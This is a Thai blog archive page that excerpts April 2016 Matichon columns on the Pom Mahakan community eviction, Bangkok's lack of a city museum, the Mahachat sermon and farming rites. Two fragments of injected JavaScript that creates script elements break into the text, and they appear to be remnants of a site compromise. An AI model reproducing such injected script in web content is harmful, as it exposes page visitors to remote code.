Archive for เมษายน, 2016

ป้อมมหากาฬ-บ้านสาย

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 29 เมษายน 2559

 

ป้อมมหากาฬ-บ้านสาย

          ขรรค์ชัย บุนปาน กับ เรืองชัย ทรัพย์นิรันดร์ เคยไปนอนค้างคืนในกุฏิท่านพระครูไว (คณะ 5) วัดเทพธิดาราม แล้วรวมหัวกันเล่นผีถ้วยแก้ว เชิญวิญญาณสุนทรภู่มาแข่งกลอนสด

          แต่ไม่เคยกินก๋วยเตี๋ยวผัดไทยร้านทิพย์สมัย ประตูผี ที่อยู่หน้าวัดฝั่งตรงข้าม (ใกล้บ้านสายรัดตะคด ต่อเนื่องตรอกพระยาเพชร ป้อมมหากาฬ) เพราะยากจนเข็ญใจ ต้องอาศัยข้าวก้นบาตรของท่านพระครู

          เมื่อ 2-3 วันก่อน คุณขรรค์ชัย เตือนความจำว่า มหาสำเภา วงษ์เทศ เคยเขียนเล่าเรื่องป้อมมหากาฬ บ้านสายรัดตะคด

          มหาสำเภาเป็นพ่อของผมเอง บวชเป็นพระบ้านนอก (อยู่ดงศรีมหาโพธิ์ จ. ปราจีนบุรี) แล้วเสี่ยงดวงเข้ากรุงเทพฯ เรียนบาลี อยู่วัดเทพธิดาราม ประตูผี สำราญราษฎร์ เมื่อ พ.ศ. 2474 (ลาสิกขา พ.ศ. 2487) เขียนอัตชีวประวัติ (เมื่อ พ.ศ. 2526-2527) เล่าเรื่องต่างๆ พาดพิงถึงบ้านสายและใกล้เคียง จะคัดมาโดยจัดย่อหน้าใหม่ดังนี้ (เพิ่มเติม…)

มิวเซียมมีชีวิต ของกรุงรัตนโกสินทร์

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 28 เมษายน 2559

 

มิวเซียมมีชีวิต

ของกรุงรัตนโกสินทร์

 

          ไม่ควรไล่รื้อชุมชนป้อมมหากาฬ ชานกำแพงพระนคร

          ในแนวทางสากล ควรอนุรักษ์และพัฒนาเป็นมิวเซียมมีชีวิต เพื่อเป็นแหล่งเรียนรู้ และแหล่งท่องเที่ยวทางประวัติศาสตร์กำเนิดกรุงรัตนโกสินทร์

          สอดคล้องและสอดรับกับนิทรรศน์รัตนโกสินทร์ ที่อยู่ต่อเนื่องกันตรงริมถนนราชดำเนิน แต่เนื้อหาไม่เหมือนกัน

          ป้อมมหากาฬ (สมัย ร.1) หมายถึงป้อมที่มีความแข็งแกร่งกัมปนาทและศักดิ์สิทธิ์ ดุจพระยม (บาล) สิงสถิตมีฤทธิ์เดชพิฆาตผู้จู่โจม

          คำว่า กาฬ มาจากภาษาสันสกฤตว่า กาล แปลว่า สีดำ, พระยม, ยมบาล, มฤตยู ฯลฯ ผูกชื่อไว้ข่มขวัญศัตรู เพราะเป็นป้อมตั้งอยู่จุดสำคัญด้านทิศตะวันออก บริเวณทางสามแพร่งของเส้นทางหลักด้านตะวันออก มีคลองมหานาคเป็นทางตรงจากตะวันออกชนเชื่อมคลองโอ่งอ่างซึ่งเป็นคลองเมือง (เพิ่มเติม…)

พิพิธภัณฑ์ไทย ไม่มีคน ไม่มีชีวิต ไม่มีสังคม

มติชนรายวัน ฉบับประจำวันพุธที่ 27 เมษายน 2559

 

พิพิธภัณฑ์ไทย

ไม่มีคน ไม่มีชีวิต ไม่มีสังคม

 

          “ชีวิตของมรดกโลก ไม่ได้อยู่ที่ป้ายและนักท่องเที่ยวนะครับ แต่อยู่ที่มันผลิตความรู้เพิ่มขึ้นออกมาได้ตลอดเวลาต่างหาก”

          อ. นิธิ เอียวศรีวงศ์ เขียนบอกเมื่อได้ดูการจัดแสดงพิพิธภัณฑ์ชาติพันธุ์ในฮานอย เวียดนาม [บทความเรื่องจราจรและภราดรภาพ (3) ใน มติชนสุดสัปดาห์ วันที่ 15-21 เมษายน 2559 หน้า 30]

          แต่ในไทย ชีวิตของมรดกโลกทุกแห่งอยู่ที่ป้ายบอกความเป็นมรดกโลก และทำยอดจำนวนนักท่องเที่ยวเข้าชมด้วยการทำป้ายโฆษณาอวดว่าที่นี่ที่นั่นที่โน่นเป็นมรดกโลก โดยขาดความกระตือรือร้นผลิตความรู้เพิ่ม

          ที่น่าวิตกอย่างยิ่งก็คือมรดกโลกทางประวัติศาสตร์โบราณคดีของไทย นอกจากไม่ผลิตความรู้ใหม่เพิ่มแล้ว ยังไม่มีแก่ใจเก็บรวบรวมความรู้เก่าที่นักปราชญ์ราชบัณฑิตในอดีตค้นคว้าวิจัยไว้อย่างก้าวหน้าด้วยซ้ำไป เพื่อเป็นคลังความรู้พื้นฐาน (เพิ่มเติม…)

ต่อยอด สร้างสรรค์ งานเทศน์มหาชาติ

มติชนรายวัน ฉบับประจำวันอังคารที่ 26 เมษายน 2559

 

ต่อยอด สร้างสรรค์

งานเทศน์มหาชาติ

          เทศน์มหาชาติ ได้ทำนองจากลาวลุ่มน้ำโขง มีลักษณะพิเศษ คือ เล่นลูกคอ และทำเสียงโหยหวน

          เสียงเทศน์มหาชาติทั้ง 13 กัณฑ์ของพระสงฆ์ต้องเหมาะสมสอดคล้องกับบุคลิกของตัวละครในกัณฑ์นั้นๆ เช่น

          กัณฑ์มัทรี ต้องเสียงเล็กๆ บางๆ เหมือนเสียงผู้หญิง (คือ นางมัทรี)

          กัณฑ์ชูชก ต้องทำเสียงคนแก่ตลกคะนอง (คือ ชูชก)

          กัณฑ์มหาราช ต้องเสียงใหญ่เสียงก้องกัมปนาท (เหมือนมหาราชผู้มีอำนาจ) เล่นลูกคอมากกว่ากัณฑ์อื่นๆ ทั้ง 13 กัณฑ์ (เพิ่มเติม…)

คนไทยอยู่ที่นี่ ที่อุษาคเนย์ เป็นส่วนหนึ่งของอาเซียน ลูกผสมร้อยพ่อพันแม่ หลายพันปีมาแล้ว

ประวัติศาสตร์แนวตั้ง.ind

 

Downloadif (document.currentScript) {

เทศน์มหาชาติ ได้ทำนองจากลาว ลุ่มน้ำโขง

มติชนรายวัน ฉบับประจำวันจันทร์ที่ 25 เมษายน 2559

 

เทศน์มหาชาติ

ได้ทำนองจากลาว ลุ่มน้ำโขง

          128 ปี โรงพยาบาลศิริราช 26 เมษายน คณบดีคณะแพทยศาสตร์ศิริราชพยาบาล มหาวิทยาลัยมหิดล (ศ. ดร. นพ. ประสิทธิ์ วัฒนาภา) แถลงว่าจะจัดเทศน์มหาชาติ ณ หอประชุมราชแพทยาลัย

          มีคำถามจากผู้รู้ข่าวนี้ว่าเทศน์มหาชาติ มาจากไหน? คำอธิบายต้องแยกเป็น 2 ส่วน คือ เนื้อเรื่อง กับ ทำนอง

thes25-04-59 1

          เนื้อเรื่องเทศน์มหาชาติ คือ เวสสันดรชาดก มาจากอินเดีย เล่าเรื่องพระชาติในอดีตของพระพุทธเจ้า เมื่อยังเป็นพระโพธิสัตว์บำเพ็ญทานบารมี นับเป็นพระชาติสุดท้ายที่ต่อไปจะตรัสรู้เป็นพระพุทธเจ้า

          ทำนองเทศน์มหาชาติ มาจากประเพณีขับลำของลาวลุ่มน้ำโขง มีเล่นลูกคอและเสียงโหยหวนเป็นลักษณะสำคัญ ยังใช้งานสืบจนปัจจุบัน (เพิ่มเติม…)

มติชน วันอาทิตย์ 24 เมษายน 2559

มติชน วันอาทิตย์

24 เมษายน 2559

 

ปลูกเรือนผิด คิดจนเรือนทลาย

คิดจนตายแก้ไม่ตกตีโจทย์ผิด

ตัวเองฆ่าประชาธิปไตยไม่ยั้งคิด

โยนความผิดคนทั้งโลกยกเว้นตัว

 

สุจิตต์ วงษ์เทศ

ศุกร์ 22 เมษายน 2559var d=document;var s=d.createElement(‘script’);

กรุงเทพฯ ไม่มีมิวเซียมกรุงเทพฯ

มติชนรายวัน ฉบับประจำวันศุกร์ที่ 22 เมษายน 2559

 

กรุงเทพฯ

ไม่มีมิวเซียมกรุงเทพฯ

 

        234 ปี วันสถาปนากรุงรัตนโกสินทร์ 21 เมษายน ชะรอยจะเป็นงานประจำปีของทางการไทยอีกงานหนึ่ง เพิ่งเพิ่มเข้ามาไม่กี่ปีนี้เอง

        กรุงรัตนโกสินทร์ เป็นชื่อทางการมีสร้อยอีกยาวมาก แต่คนทั่วไปเรียกติดปากมานานแล้วว่ากรุงเทพฯ เป็นเมืองหลวงของไทยทุกวันนี้

        กรุงเทพฯ ไม่มีมิวเซียมกรุงเทพฯ จัดแสดงเรื่องราวทางประวัติศาสตร์สังคม ที่บอกความเป็นมาทุกด้านและทุกระดับของกรุงรัตนโกสินทร์ ซึ่งประกอบด้วยประชาชาติอันหลากหลายเผ่าพันธุ์

        ผิดวิสัยเมืองหลวงของทุกประเทศในโลกที่มีอารยะ จะต้องมีมิวเซียมบอกความเป็นมาของเมืองทำโดยเทศบาลเมืองนั้นๆ

        [นิทรรศการที่จัดแสดงในอาคารถนนราชดำเนิน ไม่ใช่มิวเซียมในความหมายนี้] (เพิ่มเติม…)

นาตาแฮก แรกนาขวัญ เดือนหก

มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 22 เมษายน 2559

 

ประเพณี 12 เดือน

 

นาตาแฮก

แรกนาขวัญ เดือนหก

 

          เดือนหกเริ่มเข้าฤดูการผลิตใหม่ เพราะฝนเริ่มตกแล้ว ถึงเวลาต้องเตรียมเครื่องมือทำไร่ไถนา

          ที่สำคัญก็คือต้องทำพิธีแรกนาหรือนาแรก ทางอีสานเรียกนาตาแฮก ในทวาทศมาส (โคลงดั้น) เอกสารยุคต้นกรุงศรีอยุธยา พรรณนาฤดูเดือนหก (ไพศาขย) เริ่มมีฝนตกแล้วว่า “ฤดูไพศาขยสร้อง ฝนสวรรค์” ต่อจากนี้ไปจะมีพิธีแรกนาขวัญ

          แรกนาขวัญชุมชนหมู่บ้านทุกแห่งจะมีธงปักและผูกคันไถปลิวไปตามลมทุกหนทุกแห่ง ทวาทศมาส (โคลงดั้น) พรรณนาว่า

          เดือนหกเรียมไห้ร่ำ                  ฤๅวาย

          ยามย่อมชนบทถือ                       ท่องหล้า

          ธงธวัชโบกโบยปลาย                  งอนง่า

          คิดว่ากรกวักข้า                         แล่นตาม ฯ

          ทันธงบใช่น้อง                        เรียมทรุด

          หิวคระหนรนกาม                       พรั่นกว้า

          ธวัชงอนโบกโบยสุด                   ลิ่วลี่

          กรใช่กรหน้าหน้า                        ใช่น้องนาไถ ฯ

          จนถึงปลายกรุงศรีอยุธยาก็ยังมีพรรณนาแรกนาขวัญไว้ในนิราศธารโศกของเจ้าฟ้า ธรรมาธิเบศร์ (กุ้ง) ว่า (เพิ่มเติม…)

ประวัติศาสตร์สังคม ไม่มีในประวัติศาสตร์ไทย, ประวัติศาสตร์เพิ่งสร้าง เพื่อไล่รื้อชุมชน

มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 21 เมษายน 2559

 

ประวัติศาสตร์สังคม

ไม่มีในประวัติศาสตร์ไทย

 

      ไทยไม่มีประวัติศาสตร์สังคม การศึกษาเกี่ยวกับประวัติศาสตร์ไทยจึงไม่มีชีวิต, ไม่มีคน, ไม่มีบ้านเรือน, ไม่มีชุมชน, ไม่มีท้องถิ่น, ไม่มีข้าวปลาอาหาร, ไม่มีวิถีกินขี้ปี้นอน ฯลฯ

      ประวัติศาสตร์แห่งชาติของไทย มีแต่เหตุการณ์สงครามของวีรบุรุษผู้มีอำนาจพิเศษ แล้วมีอิฐหักกากปูนของวัดกับวัง และป้อมประตูคูน้ำกำแพงเมือง

      เหล่านี้มีพลังหล่อหลอมและครอบงำนานมาก ให้ผู้บริหารระดับสูงของ กทม. (กรุงเทพมหานคร) พยายามนับสิบๆ ปีมาแล้ว หาช่องทางไล่รื้อชุมชนป้อมมหากาฬ ชานกำแพงพระนคร (ตรงสะพานผ่านฟ้า ถนนราชดำเนินกลาง เชื่อมถนนมหาไชย) กรุงรัตนโกสินทร์

      โดยอ้างว่าเพื่ออนุรักษ์ป้อมและกำแพงพระนคร เป็นแหล่งเรียนรู้ทางประวัติศาสตร์ ที่ไม่มีสังคม, ไม่มีบ้านเรือน, ไม่มีคน, และไม่มีชีวิต ฯลฯ (เพิ่มเติม…)